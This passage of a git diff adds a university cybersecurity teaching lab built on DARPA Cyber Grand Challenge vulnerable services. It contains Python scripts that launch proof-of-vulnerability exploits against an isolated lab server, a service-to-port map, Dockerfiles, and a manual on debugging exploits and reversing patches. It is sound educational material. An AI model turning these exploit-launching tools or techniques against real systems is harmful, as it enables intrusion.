information regarding the TAP Format, see + +For more information relating to DARPA's Cyber Grand Challenge, please visit diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/cfe.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/cfe.txt new file mode 100644 index 000000000..120d136f9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/cfe.txt @@ -0,0 +1,22 @@ +via unintended means. +CBID As intended Description +CROMU_00046 Y +CROMU_00051 N unintended path +CROMU_00055 N unintended path +CROMU_00058 Y +CROMU_00064 Y +CROMU_00065 N unintended path +CROMU_00073 N unintended path +CROMU_00088 N unintended vuln +CROMU_00094 Y +CROMU_00095 N unintended vuln +CROMU_00096 N unintended vuln +CROMU_00097 N unintended vuln +CROMU_00098 Y +KPRCA_00065 N unintended vuln +KPRCA_00094 Y +NRFIN_00052 N unintended vuln +NRFIN_00059 Y +NRFIN_00063 Y +YAN01_00015 Y +YAN01_00016 Y diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/common_names.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/common_names.txt new file mode 100644 index 000000000..650ca5269 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/common_names.txt @@ -0,0 +1,109 @@ +Below is an incomplete mapping of CGC service common names to +the identifiers published on https://www.lungetech.com/cgc-corpus/cfe/ +Not all of the services below were used in CFE, and thus not all are in that corupus. + - CROMU_00046: Hug_Game + - CROMU_00047: FSK_Messaging_Service + - CROMU_00048: Water_Treatment_Facility_Simulator + - CROMU_00051: Lazybox + - CROMU_00054: ECM_TCM_Simulator + - CROMU_00055: Network_File_System + - CROMU_00057: Scrum_Database + - CROMU_00058: PRU + - CROMU_00061: Virtual_Machine + - CROMU_00063: LAN_Simulator + - CROMU_00064: Thermal_Controller_v2 + - CROMU_00065: WhackJack + - CROMU_00066: Personal_Fitness_Manager + - CROMU_00072: Shortest_Path_Tree_Calculator + - CROMU_00073: Corinth + - CROMU_00076: Monster_Game + - CROMU_00077: Network_File_System_v3 + - CROMU_00078: 3D_Image_Toolkit + - CROMU_00079: Query_Calculator + - CROMU_00082: Flash_File_System + - CROMU_00083: Filesystem_Command_Shell + - CROMU_00084: Thermal_Controller_v3 + - CROMU_00087: Recipe_and_Pantry_Manager + - CROMU_00088: FaceMag + - CROMU_00092: Facilities_Access_Control_System + - CROMU_00093: REMATCH_1--Hat_Trick--Morris_Worm + - CROMU_00094: REMATCH_3--Address_Resolution_Service--SQL_Slammer + - CROMU_00095: REMATCH_4--CGCRPC_Server--MS08-067 + - CROMU_00096: REMATCH_5--File_Explorer--LNK_Bug + - CROMU_00097: REMATCH_6--Secure_Server--Heartbleed + - CROMU_00098: REMATCH_2--Mail_Server--Crackaddr + - KPRCA_00062: Multi_User_Calendar + - KPRCA_00064: Secure_Compression + - KPRCA_00065: OTPSim + - KPRCA_00068: Grit + - KPRCA_00069: Barcoder + - KPRCA_00071: Childs_Game + - KPRCA_00073: Pattern_Finder + - KPRCA_00074: vFilter + - KPRCA_00075: Messaging + - KPRCA_00077: Venture_Calculator + - KPRCA_00079: Space_Attackers + - KPRCA_00081: Fortress + - KPRCA_00086: Pac_for_Edges + - KPRCA_00087: XStore + - KPRCA_00088: Sorter + - KPRCA_00091: FailAV + - KPRCA_00093: BIRC + - KPRCA_00094: ShoutCTF + - KPRCA_00097: CML + - KPRCA_00099: Neural_House + - KPRCA_00100: Finicky_File_Folder + - KPRCA_00101: Mount_Filemore + - KPRCA_00102: One_Amp + - KPRCA_00110: LazyCalc + - KPRCA_00111: Blubber + - KPRCA_00112: Gridder + - KPRCA_00119: Azurad + - KPRCA_00120: Terrible_Ticket_Tracker + - NRFIN_00043: String_Info_Calculator + - NRFIN_00044: Checkmate + - NRFIN_00045: Stock_Exchange_Simulator + - NRFIN_00046: CLOUDCOMPUTE + - NRFIN_00049: Matchmaker + - NRFIN_00051: CAT + - NRFIN_00052: Overflow_Parking + - NRFIN_00053: One_Vote + - NRFIN_00054: PTaaS + - NRFIN_00055: COLLIDEOSCOPE + - NRFIN_00056: EternalPass + - NRFIN_00059: Snail_Mail + - NRFIN_00061: Rejistar + - NRFIN_00063: On_Sale + - NRFIN_00064: Dungeon_Master + - NRFIN_00065: Game_Night + - NRFIN_00066: OUTLAW + - NRFIN_00067: Order_Up + - NRFIN_00069: Multi_Arena_Pursuit_Simulator + - NRFIN_00071: SBTP + - NRFIN_00072: A_Game_of_Chance + - YAN01_00015: Ghost_In_The_CGC + - YAN01_00016: Trust_Platform_Module + + - KPRCA_00055: Matrix math calculator + - KPRCA_00056: An interpreter for headscratch language + - KPRCA_00057: Glue, a file archiving system + - KPRCA_00058: Secure authentication service + - KPRCA_00059: Sensor reading software + - KPRCA_00060: Simple printer protocol + - NRFIN_00028: Software to secure ICS infrastructure + - NRFIN_00074: Document rendering engine + - NRFIN_00075: Cereal vending machine + - NRFIN_00076: Ski resort modeler + - NRFIN_00077: Multicast chat server + - NRFIN_00078: Eddy text editor + - NRFIN_00079: Family tree builder + - NRFIN_00080: NOPE tax filing software + - NRFIN_00073: CTTP, a reduced overhead web server + - CROMU_00070: a GPS package tracking service + - CROMU_00071: a flight planning tool + - CADET_00001: Simple Palindrome service + - EAGLE_00004: Tribute to DEFCON CTF (IPC example) + - KPRCA_00001: Gopher-like server + - KPRCA_00003: Image compression + - YAN01_00002: Tennis ball motion calculator + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/poll.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/poll.py new file mode 100755 index 000000000..631a41678 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/poll.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python +import os +import sys +import glob +import argparse + +parser = argparse.ArgumentParser(description='Run a poll for a service') +parser.add_argument('service', help='name of the service') +parser.add_argument('num', help='poll number') +args = parser.parse_args() + +smap_file = 'service.map' +smap = {} +with open(smap_file) as fh: + for line in fh: + parts = line.split() + smap[parts[0]] = parts[1].strip() + +serve = args.service + +if serve not in smap: + print('service %s not found' % serve) + exit(1) +ip = '172.25.0.3' +port = smap[serve] +poll_dir = os.path.join('challenges', serve, 'polls') +plist = glob.glob(poll_dir+'/*.xml') +pnum = int(args.num) +if pnum > len(plist): + print('Poll number out of range, max is %d' % len(plist)) + exit(1) +pname = 'GEN_00000_%05d.xml' % pnum +poll_path = os.path.join('challenges', serve, 'polls', pname) +cmd = '/usr/sbin/cb-replay --host %s --port %s %s' % (ip, port, poll_path) +os.system(cmd) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/pov.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/pov.py new file mode 100755 index 000000000..8a4d1ab86 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/pov.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python +import os +import sys +import glob +import argparse + +parser = argparse.ArgumentParser(description='Throw a pov at a service') +parser.add_argument('service', help='name of the service') +parser.add_argument('num', help='pov number') +parser.add_argument('-d', '--delay', action='store', default=0, help='Delay given seconds between connect and data exchange. Intended to allow attaching a debug server to the service.') + +args = parser.parse_args() + +smap_file = 'service.map' +smap = {} +with open(smap_file) as fh: + for line in fh: + parts = line.split() + smap[parts[0]] = parts[1].strip() + +serve = args.service + +if serve not in smap: + print('service %s not found' % serve) + exit(1) +ip = '172.25.0.3' +port = smap[serve] +poll_dir = os.path.join('challenges', serve, 'povs') +plist = glob.glob(poll_dir+'/*.pov') +pnum = int(args.num) +if pnum > len(plist): + print('Poll number out of range, max is %d' % len(plist)) + exit(1) +pname = 'pov_%d.pov' % pnum +pov_path = os.path.join('challenges', serve, 'povs', pname) +cmd = './throw.py %s %s %s' % (pov_path, port, args.delay) +os.system(cmd) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/service.map b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/service.map new file mode 100644 index 000000000..0aa148ff4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/service.map @@ -0,0 +1,226 @@ +3D_Image_Toolkit 47802 +AIS-Lite 47803 +ASCII_Content_Server 47804 +ASL6parse 47805 +Accel 47806 +Audio_Visualizer 47807 +Azurad 47808 +Barcoder 47809 +BitBlaster 47810 +Bloomy_Sunday 47811 +Board_Game 47812 +BudgIT 47813 +CGC_Board 47814 +CGC_File_System 47815 +CGC_Hangman_Game 47816 +CGC_Image_Parser 47817 +CGC_Planet_Markup_Language_Parser 47818 +CGC_Symbol_Viewer_CSV 47819 +CGC_Video_Format_Parser_and_Viewer 47820 +CLOUDCOMPUTE 47821 +CML 47822 +CNMP 47823 +COLLIDEOSCOPE 47824 +CTTP 47825 +CableGrind 47826 +CableGrindLlama 47827 +Carbonate 47828 +Casino_Games 47829 +Cereal_Mixup__A_Cereal_Vending_Machine_Controller 47830 +Character_Statistics 47831 +Charter 47832 +Checkmate 47833 +Childs_Game 47834 +Corinth 47835 +Cromulence_All_Service 47836 +DFARS_Sample_Service 47837 +Diary_Parser 47838 +Differ 47839 +Diophantine_Password_Wallet 47840 +Dive_Logger 47841 +Divelogger2 47842 +Document_Rendering_Engine 47843 +Dungeon_Master 47844 +ECM_TCM_Simulator 47845 +Eddy 47846 +Email_System_2 47847 +Enslavednode_chat 47848 +Estadio 47849 +EternalPass 47850 +FASTLANE 47851 +FISHYXML 47852 +FSK_BBS 47853 +FSK_Messaging_Service 47854 +FUN 47855 +FablesReport 47856 +FaceMag 47857 +Facilities_Access_Control_System 47858 +FailAV 47859 +FileSys 47860 +Filesystem_Command_Shell 47861 +Finicky_File_Folder 47862 +Flash_File_System 47863 +Flight_Routes 47864 +Fortress 47865 +GPS_Tracker 47866 +GREYMATTER 47867 +Game_Night 47868 +Glue 47869 +GreatView 47870 +Gridder 47871 +Griswold 47872 +Grit 47873 +H20FlowInc 47874 +HIGHCOO 47875 +HackMan 47876 +Headscratch 47877 +HeartThrob 47878 +HighFrequencyTradingAlgo 47879 +Hug_Game 47880 +INSULATR 47881 +Image_Compressor 47882 +KTY_Pretty_Printer 47883 +Kaprica_Go 47884 +Kaprica_Script_Interpreter 47885 +LMS 47886 +LazyCalc 47887 +Lazybox 47888 +Loud_Square_Instant_Messaging_Protocol_LSIMP 47889 +Matchmaker 47890 +Material_Temperature_Simulation 47891 +Mathematical_Solver 47892 +Matrix_Math_Calculator 47893 +Message_Service 47894 +Minimalistic_Memo_Manager_3M 47895 +Mixology 47896 +Modern_Family_Tree 47897 +Monster_Game 47898 +Mount_Filemore 47899 +Movie_Rental_Service 47900 +Movie_Rental_Service_Redux 47901 +Multi_Arena_Pursuit_Simulator 47902 +Multi_User_Calendar 47903 +Multicast_Chat_Server 47904 +Multipass 47905 +Multipass2 47906 +Multipass3 47907 +Music_Store_Client 47908 +NarfAgainShell 47909 +NarfRPN 47910 +Network_File_System 47911 +Network_File_System_v3 47912 +Network_Queuing_Simulator 47913 +Neural_House 47914 +NoHiC 47915 +No_Paper._Not_Ever._NOPE 47916 +OTPSim 47917 +On_Sale 47918 +One_Amp 47919 +One_Vote 47920 +Overflow_Parking 47921 +PCM_Message_decoder 47922 +PKK_Steganography 47923 +PRU 47924 +PTaaS 47925 +Pac_for_Edges 47926 +Packet_Analyzer 47927 +Packet_Receiver 47928 +Palindrome 47929 +Palindrome2 47930 +Parking_Permit_Management_System_PPMS 47931 +Particle_Simulator 47932 +Pattern_Finder 47933 +Personal_Fitness_Manager 47934 +Printer 47935 +QUIETSQUARE 47936 +QuadtreeConways 47937 +Query_Calculator 47938 +RAM_based_filesystem 47939 +REMATCH_2--Mail_Server--Crackaddr 47940 +REMATCH_3--Address_Resolution_Service--SQL_Slammer 47941 +REMATCH_4--CGCRPC_Server--MS08-067 47942 +REMATCH_5--File_Explorer--LNK_Bug 47943 +REMATCH_6--Secure_Server--Heartbleed 47944 +RRPN 47945 +Recipe_Database 47946 +Recipe_and_Pantry_Manager 47947 +Rejistar 47948 +Resort_Modeller 47949 +SAuth 47950 +SCUBA_Dive_Logging 47951 +SFTSCBSISS 47952 +SIGSEGV 47953 +SLUR_reference_implementation 47954 +SOLFEDGE 47955 +SPIFFS 47956 +Sad_Face_Template_Engine_SFTE 47957 +Sample_Shipgame 47958 +Scrum_Database 47959 +Secure_Compression 47960 +Sensr 47961 +Shortest_Path_Tree_Calculator 47962 +ShoutCTF 47963 +Simple_Stack_Machine 47964 +Single-Sign-On 47965 +Snail_Mail 47966 +Sorter 47967 +Space_Attackers 47968 +Square_Rabbit 47969 +Stock_Exchange_Simulator 47970 +Street_map_service 47971 +String_Info_Calculator 47972 +String_Storage_and_Retrieval 47973 +TAINTEDLOVE 47974 +TFTTP 47975 +TIACA 47976 +TVS 47977 +Tennis_Ball_Motion_Calculator 47978 +Terrible_Ticket_Tracker 47979 +TextSearch 47980 +The_Longest_Road 47981 +Thermal_Controller_v2 47982 +Thermal_Controller_v3 47983 +Tick-A-Tack 47984 +UTF-late 47985 +User_Manager 47986 +ValveChecks 47987 +Vector_Graphics_2 47988 +Vector_Graphics_Format 47989 +Venture_Calculator 47990 +Virtual_Machine 47991 +Water_Treatment_Facility_Simulator 47992 +WhackJack 47993 +WordCompletion 47994 +XStore 47995 +anagram_game 47996 +basic_emulator 47997 +basic_messaging 47998 +chess_mimic 47999 +cotton_swab_arithmetic 48000 +cyber_blogger 48001 +electronictrading 48002 +expression_database 48003 +greeter 48004 +hawaii_sets 48005 +humaninterface 48006 +matrices_for_sale 48007 +middleout 48008 +middleware_handshake 48009 +netstorage 48010 +online_job_application 48011 +online_job_application2 48012 +payroll 48013 +pizza_ordering_system 48014 +reallystream 48015 +root64_and_parcour 48016 +router_simulator 48017 +simpleOCR 48018 +simple_integer_calculator 48019 +simplenote 48020 +stack_vm 48021 +stream_vm 48022 +stream_vm2 48023 +university_enrollment 48024 +vFilter 48025 +virtual_pet 48026 +yolodex 48027 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/t.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/t.py new file mode 100644 index 000000000..c598a75e7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/t.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python +import socket +HOST = '172.25.0.3' # The server's hostname or IP address +PORT = 60606 # The port used by the server +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect((HOST, PORT)) +print('back from connect') +data = s.recv(1000) +print(data) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/throw.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/throw.py new file mode 100755 index 000000000..3f9901ff6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/throw.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python +import os +import multiprocessing as mp +import argparse +import sys +import socket +import struct +import random +import time + +def _launch_pov_unix(pov, port, delay, pipe): + # NOTE: This is running a forked process, free to clobber fds + # This is mostly unchanged from the original source + HOST = '172.25.0.3' # The server's hostname or IP address + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((HOST, port)) + time.sleep(delay) + # Setup fds for communication + os.dup2(s.fileno(), 0) + os.dup2(s.fileno(), 1) + os.dup2(pipe.fileno(), 3) + + null = os.open('/dev/null', 0) + os.dup2(null, 2) + os.close(null) + + args = [pov] + + # Launch the POV + os.execv(pov, args) + exit(-1) + +def read_all(fd, data_len): + data = '' + while len(data) < data_len: + read = os.read(fd, data_len - len(data)) + assert len(read) + data += read + return data +def count_bits_set(value): + count = 0 + while value: + value &= value - 1 + count += 1 + return count + + +def launch_pov(pov, port, delay, pipe): + pov_runner = mp.Process(target=_launch_pov_unix, args=(pov, port, delay, pipe)) + + pov_runner.start() + return pov_runner + +def pov_negotiate(pipefd): + MIN_BITS = 0 + + + data = read_all(pipefd, 4) + pov_type = struct.unpack(' 7: + print('invalid GPR') + accept = False + + if accept: + ip = random.randint(0, 0xFFFFFFFF) & ipmask + reg = random.randint(0, 0xFFFFFFFF) & regmask + + print('type 1 masks: %08x %08x' % (ipmask, regmask)) + print('type 1 pov: %08x %08x %d' % (ip, reg, regnum)) + + pov_values = struct.pack('&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/dockerfiles/Dockerfile.cgc.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/dockerfiles/Dockerfile.cgc.server.student new file mode 100644 index 000000000..3880ae854 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/dockerfiles/Dockerfile.cgc.server.student @@ -0,0 +1,67 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template for CentOS +# +# +ARG registry +FROM $registry/labtainer.ghidra +#FROM labtainer.ghidra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/yum-source.sh +# +# put package installation here +## +RUN yum install -y compat-libstdc++-296.i686 compat-libstdc++-33.i686 libSM + + +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable rc-local +CMD ["/usr/sbin/init"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/Makefile new file mode 100644 index 000000000..d900666ec --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/Makefile @@ -0,0 +1,8 @@ +cgc.pdf: cgc.tex header.tex + latex cgc + pdflatex -jobname=cgc cgc + pdflatex -jobname=cgc cgc + +clean: + rm -fr auto + rm -f *.aux *.log *.pdf *.dvi *.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/cgc.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/cgc.pdf new file mode 100644 index 000000000..983c71e6f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/cgc.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/cgc.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/cgc.tex new file mode 100644 index 000000000..d4a8ce717 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/cgc.tex @@ -0,0 +1,228 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Cyber Grand Challenge Services} +\vspace{0.1in}\\ +\end{center} + +\section{Overview} +A selection of over two hundred vulnerable network services created by DARPA for their +Cyber Grand Challenge (CGC)\footnote{\url{https://www.darpa.mil/program/cyber-grand-challenge}}, +are available for your exploration and experimentation. Each of these services include one or more +deliberately planted vulnerabilities. The vulnerable services were adapted from +the CGC corpus to run within Linux by Trail of Bits\footnote{\url{https://github.com/trailofbits/cb-multios}}. + +While these services were created by DARPA for an automated capture-the-flag competition, they represent +a good collection of memory corruption vulnerabilities that students may explore to better understand +the properties and mechanics of different types of software flaws. This lab runs the services +in a typical client-server environment over a network as \textit{inetd} services. + +This collection of services is intended to provide you with examples to explore using static program +analysis tools as well as debuggers and observation of network traffic. + +\subsection {Background} +The student is expected to have an understanding of the Linux command line, and some amount of low level programming. +It is expected that the student will have some experience with debuggers and decompilers. + + +\section{Lab Environment} +\label{environment} +This lab runs in the Labtainer framework, +available at http://nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer cgc +\end{verbatim} +\noindent A link to this lab manual will be displayed. + +The lab includes two computers, a client and a server. +\subsection{Server} +The \textit{server} runs all of the services as \textit{xinetd} +services. This means the services do not execute until a TCP connection is made to the port +associated with the service. Each TCP connection gets its own instance of the service. The +\textit{client} computer has a network connection to the server, and it includes utilities for +interacting with services. + +The executable binaries for the services are in {\tt /usr/sbin}, as can be seen in the service +files found in {\tt /etc/xinetd.d/}. The server includes the Ghidra tool and IDA Free. + +Source code for services is in the {\tt \$HOME/challenges} directory. Each service includes a +{\tt README.md} file that describes the service and its vulnerabilities. + +\subsection{Client} +The client computer includes utilities and data sets for interacting with the services. +These utilities refer to a {\tt service.map} file that map service names to their TCP port numbers. +If you create your own scripts or programs to interact with services, consider using that map. + +The client includes wireshark for viewing network traffic. + +\subsubsection{Service polls} +The {\tt poll.py} +script will interact with the service to confirm it is operational (and provide you with sample +service traffic to help you understand the functions of the service). The client includes five +polls per service, and these are named as the integers 1-5. For example +{\begin{verbatim} + ./poll.py payroll 2 +\end{verbatim} +\noindent will use the second poll to interact with the payroll service. + +\subsubsection{Proofs of vulnerabilities} +The client includes one or more \textit{proof of vulnerabilities} (PoVs) that exploit software flaws +identified in the service {\tt README.md} file. These \textit{PoVs} have one of two forms: +\begin{itemize} +\item Type I -- Causes the service to crash with a SEGV. These crashes can be observed in the +{\tt /var/log/messages} file, or using gdb. +\item Type II -- Causes the service to leak 32 bits of ``secret'' data from a page of memory filled +with random bytes. The PoV reports this data when successful. +\end{itemize} +\noindent The {\tt pov.py} utility on the client executes the PoVs. +For example, the following will throw the first POV against the payroll services: +\begin{verbatim} + ./pov.py payroll 1 +\end{verbatim} +\noindent Use of the {\tt -d} option will delay network reading and writing for the given +number of seconds. This is intended to let you attach to the service using gdb. + +\section{Tasks} +This exercise is intended to be self directed and at your own pace. The suggestions below may aid +your exploration. + +\subsection{Review services} +Browse through the services by reading the {\tt README.md} files in the {\tt \$HOME/challenges} directory +on the server. Perhaps start with ``easy'' services such as {\tt Palindrome}. Many of these +services were part of the the CGC Final Event. You can learn about which of those services +were successfully exploited during the CGC from this web page: +https://www.lungetech.com/cgc-corpus/cfe The service identifiers on that page can be +(mostly) mapped to their ``common names'' using the {\tt \$HOME/common\_names.txt} file on the client. + +The service source code can be viewed along with the {\tt README.md} files. Note the source code +uses {\tt ifdef} constructs to either introduce or patch each vulnerability. The patched instances +of each executable have the same name as the vulnerable instance within the {\tt /usr/sbin} directory, +but with a {\tt \_patched} suffix. + +Comparing the vulnerable source code to the patched source code, and comparing vulnerable binaries +to patch binaries, can be very helpful toward understanding different types of software flaws. + +At this point it is worth repeating that this lab is about exploration. No attempt is made to hide +information from the student. It is entirely up to you to hide information from yourself. +For example, pick a service +and try to understand its behavior without referring to the source code. + + +\subsection{Disassemble using Ghidra} +If you are not familiar with Ghidra, consider performing the Labtainers {\tt ghidra} lab. +The Ghidra tool is installed on the server, and can be started using the {\tt ./ghidra} command +in the home directory. Your default project directory is {\tt \$HOME/mystuff/ghidra}, which allows your +Ghidra data to persist beyond the life of the server container. Create a project with the name of +one of your selected services. Once you've created the project, use the {\tt File/Importfile} menu +option to import the executable binary from {\tt /usr/sbin}. Then double-click on the newly imported +file and direct Ghidra to perform analyis. + +You will note that the resulting analysis includes a symbols (e.g., helpful variable names). Consider +challenging yourself by creating and analyzing a \textit{stripped} version of the binary using the +Unix {\tt strip} command. + +\subsection{Disassemble using IDA Free} +If you have not yet install IDA Free in a Labtainers lab, you can do so by running the +{\tt idafree70\_linux.run} program in your home directory on the server. Your home directory +will have a idafree-7.0 subdirectory which is shared with the host, thereby letting you share +this IDA installation with other Labtainer labs. After installing IDA, use the {\tt ./ida} command +in your home directory to start IDA. For example: +\begin{verbatim} + ./ida /usr/sbin/payroll +\end{verbatim} +\noindent \textbf{NOTE:} If windows appear black or as noise, try resizing them. If they do not resize, closing +them usually works. + +When you first open an executable, IDA will display an error message telling you to choose +a different directory for the database. Select the {\tt \$HOME/mystuff/ida} directory so that your IDA +databases persist. After you've used IDA to analyze a given executable, you can open it later +by giving IDA the name of the database, e.g, +\begin{verbatim} + ./ida mysuff/ida/payroll.64 +\end{verbatim} + +\subsection{Observe network traffic} +Start wireshark on the client and capture traffic on eth0. Then run a poll, e.g., +\begin{verbatim} + ./poll.py payroll 1 +\end{verbatim} +\noindent Note that some services use a binary protocol, making it more challenging to understand +by looking at wireshark captures. + +Poll traffic is generated by XML files found in {\tt \$HOME/challenges//polls}. View those +files to help you understand the protocols. Consider modifying these files to alter the interaction +with the service. You may also add a {\tt delay} directive to delay traffic while you attach a debugger +to the service, e.g., add: +\begin{verbatim} + 10000 +\end{verbatim} +\noindent as the first item in the {\tt replay} section of the XML to delay for ten seconds, during which time you could issue this command in the server: +\begin{verbatim} + gdb -p `pgrep payroll` +\end{verbatim} + +Note that gdb is configured (in the {\tt /etc/gdb/gdbinit} file), to provide you with source +code. Consider trying debug sessions by first moving the source code (or changing the directive) +so that you cannot see the source from gdb. Also consider using the {\tt strip} command to +remove symbols from some executables. + +\subsection{Review PoVs} +The PoVs available on the client are artifacts from the CGC, in which the authors of vulnerable +services were required to create example PoVs for each of the deliberately planted service +vulnerabilities\footnote{Services also include unintended vulnerabilities common to most +software development} . These +are executable x86 binaries whose source code can be found along side the service source code on +the server. The lab environment does not support recompilation of the PoVs. Consider creating +your own tool for generating PoVs. You can then use the PoV source code to reproduce and expand +on the sample PoVs, e.g., to take control of an exploited service. + +\subsection{Debug service during exploit} +Use the {\tt pov.py} command to exploit a service. For example, +\begin{verbatim} + ./pov.py payroll 1 -d 10 +\end{verbatim} +\noindent And then run this on the server to attach gdb to the service: +\begin{verbatim} + gdb -p `pgrep payroll` +\end{verbatim} +If you direct gdb to continue the process, you will see a SEGV (for Type I PoVs). You can also observe the +crash in the {\tt /var/log/messages} log. Type II PoVs do not crash. They leak ``secret'' information +from a specific memory page and continue. The output of the {\tt pov.py} function will tell you the +location of the page, and the value that was leaked. It does not tell you the address of the leaked value, +for that you might use scripting within gdb to find the address of the leaked value, and then set a +hardware breakpoint on reads of that address to find where the leak occurs. + +Consider configuring gdb to not include source code, and the use of stripped binaries to give +you a better feel for real world analysis. + +\subsection{Reverse a patch} +When vendors release patched versions of applications, those patches can be compared to unpatched +versions of the software to understand the flaw being patched. Without referring to source code, +and using stripped binaries, compare the vulnerable executables to the patched instances. Attempt +to use that comparison to create your own PoV. + +\subsection{Limitations and notes} +The CGC included some vulnerable services that ran as two or more processes, communicating through +shared pipes. This lab does not include any of those services. + +The CGC Archive site includes PoVs and patched services submitted by the automated competitors during +the competition. Those executables are linked to run within the DECREE execution environment, and +thus do not run on Linux. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\copyrightnotice + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/header.tex new file mode 100644 index 000000000..9a636a2b9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/header.tex @@ -0,0 +1,118 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent 